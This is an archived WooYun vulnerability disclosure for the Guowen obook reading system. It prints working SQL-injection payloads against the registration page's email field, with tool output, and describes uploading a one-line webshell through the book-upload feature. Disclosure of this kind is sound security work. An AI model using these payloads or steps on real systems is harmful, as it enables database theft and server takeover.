乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-14: 细节已通知厂商并且等待厂商处理中 2015-10-19: 厂商已经确认,细节仅向厂商公开 2015-10-29: 细节向核心白帽子及相关领域专家公开 2015-11-08: 细节向普通白帽子公开 2015-11-18: 细节向实习白帽子公开 2015-12-03: 细节向公众公开
国文科技obook数字阅读系统,终端电子化、内容数字化、传输网络化给阅读带来了革命,国文obook数字阅读系统让您的数字阅读真正实现随时、随地、随意。
注入的话,注册页面**.**.**.**/Register.aspx邮箱输入栏,参数EmailTB存在注入,用户登录页存在注入等
Parameter: EmailTB (POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTkyMDI2MjY3Mw9kFgICAQ9kFgQCAQ9kFgICAw8PFgIeB1Zpc2libGVoZGQCFw8PFgIeBFRleHQFGeivpeeUqOaIt+WQjeW3sue7j+WtmOWcqCFkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUFcmVnQlTp4K4xWe1MjemyuVbXB2PGW+4OsCxl8hi1VHy82nROhw==&__VIEWSTATEGENERATOR=799CC77D&__EVENTVALIDATION=/wEWCQKOm86iDgLpy/WADQLUs5SeDAKP+M23DAKpwKq/CAKL9aCCDQKX0vzNAQLqtZbPCwL/yaWrAhIqO8CIr14z0Lyt5NJgmskc7GHF3R8HyQMcOWUaH/RG&headtop1$TxtUserName=&headtop1$TxtPassword=&usernameTB=huanggua&passwordTB=111111&PasswordTB2=111111&EmailTB=123' AND 6413=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6413=6413) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(118)+CHAR(113))) AND 'nOrp'='nOrp®BT.x=65®BT.y=12 Type: UNION query Title: Generic UNION query (NULL) - 10 columns Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTkyMDI2MjY3Mw9kFgICAQ9kFgQCAQ9kFgICAw8PFgIeB1Zpc2libGVoZGQCFw8PFgIeBFRleHQFGeivpeeUqOaIt+WQjeW3sue7j+WtmOWcqCFkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUFcmVnQlTp4K4xWe1MjemyuVbXB2PGW+4OsCxl8hi1VHy82nROhw==&__VIEWSTATEGENERATOR=799CC77D&__EVENTVALIDATION=/wEWCQKOm86iDgLpy/WADQLUs5SeDAKP+M23DAKpwKq/CAKL9aCCDQKX0vzNAQLqtZbPCwL/yaWrAhIqO8CIr14z0Lyt5NJgmskc7GHF3R8HyQMcOWUaH/RG&headtop1$TxtUserName=&headtop1$TxtPassword=&usernameTB=huanggua&passwordTB=111111&PasswordTB2=111111&EmailTB=123' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(118)+CHAR(118)+CHAR(113)+CHAR(107)+CHAR(101)+CHAR(120)+CHAR(90)+CHAR(88)+CHAR(112)+CHAR(120)+CHAR(76)+CHAR(110)+CHAR(115)+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(118)+CHAR(113)-- ®BT.x=65®BT.y=12---[10:11:53] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2008
跑数据库的时候,注册个账号进入后台竟然秒了...个人书库,增加新图书,上传图书处任意上传......
直接上传一句话,会提示图书字数太少,随便加点什么字数进去就OK,出来后首页点击下载得到一句话访问链接,上刀
你们很专业的
危害等级:高
漏洞Rank:12
确认时间:2015-10-19 08:52
暂未建立与网站管理单位的直接处置渠道,待认领.
暂无